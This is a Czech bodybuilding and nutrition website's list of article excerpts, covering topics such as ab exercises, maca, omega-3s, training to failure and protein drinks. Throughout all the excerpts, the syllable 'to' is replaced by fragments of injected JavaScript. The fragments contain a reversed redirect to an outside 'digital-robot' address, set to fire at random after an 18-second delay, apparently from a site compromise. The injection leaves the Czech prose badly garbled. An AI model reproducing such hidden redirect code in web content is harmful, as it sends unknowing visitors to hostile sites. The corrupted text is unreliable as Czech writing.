• Tréninky

    PERFEKTNÍ BŘICHO

    NEPŘEHLÍŽEJTE CVIKY NA LAVIČKÁCH V kulturistice narazíte na řadu teorií. Některé mají svoji váhu, jiné nikoliv. Postupem času každý zjistí, co na něj funguje a co naopak v jeho případě smysl zcela postrádá. Byla by protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to škoda některé cviky předem zavrhovat. Což se bohužel stalo některým cvikům na břicho. Už je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pěkných pár let, co zkracovačky vytlačily z piedestalu dříve tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolik oblíbené sedy a lehy. Spolu s nimi ale ustobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toupila do ústraní i šikmá a hyperextenzní lavička. Přitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom byly časy, kdy kulturisté strávili…

  • Výživa

    MACA – PŘÍRODNÍ PŘEDTRÉNINKOVKA

    Cesta k super tréninkovým výsledkům se neobejde bez obrovského úsilí, tvrdé disciplíny a v neposlední řadě také vyžaduje promyšlený přístup. Pokud má tělo dlouhodobě reagovat nárůstem hmoty, síly či výkonnosti, potřebuje dostávat stále nové podněty, na které se doposud neadaptobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovalo. A tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toj se vám vyplatí i v otázkách suplementace. Vsaďte tedy na méně tradiční přístupy. Trendem poslední doby jsou tzv. předtréninkovky – produkty obsahující celou řadu ingrediencí. Jejich cílem je navýšit hladinu energie, podpořit koncentraci a celkově nabudit tělo k tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu, aby v tréninku podalo co nejlepší výkon. Jestli chcete…

  • Výživa

    OMEGA-3 MASTNÉ KYSELINY vs. VÝŽIVA SPORTOVCŮ

    Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia Jednoduchá a účinná cesta, jak podpořit zdraví i výkonnost Omega-3 mastné kyseliny jsou jedním z nejlepších zdrojů tuků, které můžete do své stravy zařadit. Nejen že organismu nabízí nespočet zdravotních benefitů, ale současně mohou být také užitečné pro sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovce při podpoře jejich výkonu. Pojďme si omega-3 mastné kyseliny představit více do detailu. Jak nám ve skutečnosti pomáhají a ze kterých zdrojů čerpat, abyste dosáhli maximálního využití? Všechny omega-3 mastné kyseliny nejsou stejné. Jak se v nich vyznat? Začněme krátkou exkurzí do světa biochemie. Omega-3 mastné kyseliny jsou speciálním typem tuků, které řadíme do skupiny…

  • Tréninky

    JDE TO I BEZ TRÉNINKOVÉHO PARTNERA

    Na snímku Pavel Koukal, fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Josef Adlt Nové způsoby, jak zvýšit intenzitu tréninku, když cvičíte sami. Někteří sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci vám řeknou, že bez tréninkového partnera tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prostě nejde, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože potřebujete někoho, kdo vám umožní dostat se ve fitku až za hranici vyčerpání. My vás ale – doufejme – jednou pro vždy z tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohohle omylu vyvedeme. Jsou tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž kulturisti, kteří dávají přednost sólovým tréninkům. Ono tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to má tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay…

  • Tréninky

    MÝTY, KTERÝM SE VYPLATÍ NEVĚŘIT

    Kulturistika patří ke sportům, v nichž se mýtům daří. Její legendární představitelé se pyšní figurou, budící dojem, že nepochází z tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to světa. Není tedy divu, že jsou silové sporty živnou půdou pro nejrůznější dezinformace. A tak můžete zaslechnout….   Kdo cvičí břicho, bude mít vyrýsované břišáky. Všichni bychom si přáli, aby tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to byla pravda. Je stále hodně lidí, kteří věří, že pokud budou břicho dostatečně procvičovat, zbaví se té pneumatiky, která se jim vine kolem pasu. To je ale pouze výmysl nejrůznějších televizních reklam. Trénink břicha = viditelné svaly pouze v případě, kdy vaše břicho…

  • Tréninky

    PRO A PROTI TRÉNINKU DO VYČERPÁNÍ

    aneb dává smysl jet v tréninku na doraz? Určitě slýcháte ze všech stran, že kvalitních výsledků dosáhnete jedině díky tréninku do vyčerpání. Je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ale jeden z největších kulturistických mýtů. Sociální sítě jsou plné motivačních sloganů typu „Čím větší úsilí, tím kvalitnější výsledky“. V extrému pracují autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toři podobných hesel s termíny „všechno nebo nic“. Vy byste ale měli vědět, že většina svalových partií nebude na takový přístup reagovat nijak optimálně. Zástupci staré školy jsou obvykle velkými zastánci co nejtvrdšího tréninku. Byli odkojeni filmy, jako je Rocky, v nichž jsou hlavní hrdinové ochotní položit život za dobře odcvičený trénink a nic, než ty nejlepší…

  • Výživa

    NAČASOVÁNÍ SUPLEMENTACE

    U suplementů rozhoduje nejenom, CO užíváte, ale taky KDY.   Budování svalů nezávisí jen na čase, který strávíte ve fitku. Zcela zásadní roli hraje v tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to procesu také výživa. Její kvalita rozhodne o tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, jestli se z tlouštíka či hubeňoura stane svalovec. V první řadě si tedy musíte upravit jídelníček a v další fázi přijde na řadu správná suplementace. Ta optimalizuje metabolické procesy a urychlí regeneraci. Nejste si jistí, jaké suplementy použít a kdy? Inspirujte se naším průvodcem!   VSTÁVAT A CVIČIT! Patříte k těm, kteří trénují raději po ránu? Pak ale musíte tělu dodat dostatek živin,…

  • Výživa

    NEDOVOLTE DIETĚ, ABY VÁS PŘIPRAVILA O SVALY

    Připravil: Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia   Příprava silových sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovců, kulturistů, závodníků kategorie men’s physique a závodnic kategorie bikini fitness se v drtivé většině případů dělí do dvou základních fází –objemové a redukční. V té objemové je hlavním cílem nárůst svalové hmoty a vylepšení případných slabších partií, naopak v redukční fázi se sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci snaží o redukci tukové tkáně při současném zachování již vybudované svalové hmoty. Udržení svalové hmoty v období diety je jedním z nejtěžších úkolů, které jsou na závodníky a závodnice estetických disciplín kladeny. Jak podpořit anabolismus a udržet svaly v redukční fázi přípravy? Základem redukční…

  • Tréninky

    JAK PERSONALIZOVAT SVŮJ TRÉNINKOVÝ PROGRAM

    Kdyby fakt, že budete CVIČIT JAKO JAY CUTLER NEBO RONNIE COLEMAN, znamenal, že budete taky VYPADAT JAKO TIHLE BORCI, bylo by tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to příliš jednoduché. Dávno víte, že na výsledcích tréninku se mnohem více odrážejí jiné faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory než tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, jakým cvičebním programem jste se inspirovali. A taky už jste se určitě dávno smířili s krutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou pravdou, že neexistuje jeden funkční tréninkový model platný pro všechny. Dokonce ani mnoha lidmi oslavovaný plán pro hard-gainery z nás nemusí udělat svalovce. Ať se vám do rukou dostane jakýkoliv rozpis tréninku, ideálně byste si ho…

  • Výživa

    JAK SE VYZNAT V PROTEINOVÝCH NÁPOJÍCH

    Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia     Proteinové nápoje patří mezi nejoblíbenější doplňky stravy jak mezi aktivními sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci, tak mezi nesportující populací. Utratíme za ně podle provedených průzkumů ročně více peněz než za jakýkoliv jiný doplněk stravy – a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to včetně vitaminů a minerálů. Jiné výzkumy zase ukázaly, že proteinové nápoje užívá pravidelně 9 z 10 kulturistů. Jsou zkrátka IN a svou popularitu si drží už několik dekád. Nelze se protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to divit, že prakticky každá značka suplementů na trhu, a že jich není zrovna málo, nabízí…